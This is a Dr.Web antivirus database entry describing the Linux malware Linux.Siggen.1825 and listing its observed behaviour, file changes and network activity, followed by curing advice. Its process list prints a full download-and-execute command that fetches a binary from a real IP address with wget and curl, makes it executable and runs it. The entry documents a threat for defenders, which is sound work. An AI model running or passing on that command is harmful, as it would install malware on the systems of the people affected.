Library
My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets

Profile

Linux.Siggen.1825

Added to the Dr.Web virus database: 2019-06-09

Virus description added:

Technical Information

Malicious functions:
Removes itself
Launches processes:
  • /bin/sh -c wget http://185.244.25.160/hahdshd73ahshds73/ugei10; chmod 777 *; ./ugei10 wget.m68k; curl -O http://185.244.25.160/hahdshd73ahshds73/ugei10; chmod 777 *; ./ugei10 curl.m68k;
  • wget http://185.244.25.160/hahdshd73ahshds73/ugei10
  • chmod 777 run.sh stdout.log ugei10
  • ./ugei10 wget.m68k
  • /bin/sh ./ugei10 wget.m68k
  • ./ugei10 curl.m68k
  • /bin/sh ./ugei10 curl.m68k
Performs operations with the file system:
Modifies file access rights:
  • /root/run.sh
  • /root/ugei10
Creates or modifies files:
  • /root/ugei10
Network activity:
HTTP GET requests:
  • 18#.###.##.160/hahdshd73ahshds73/ugei10

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number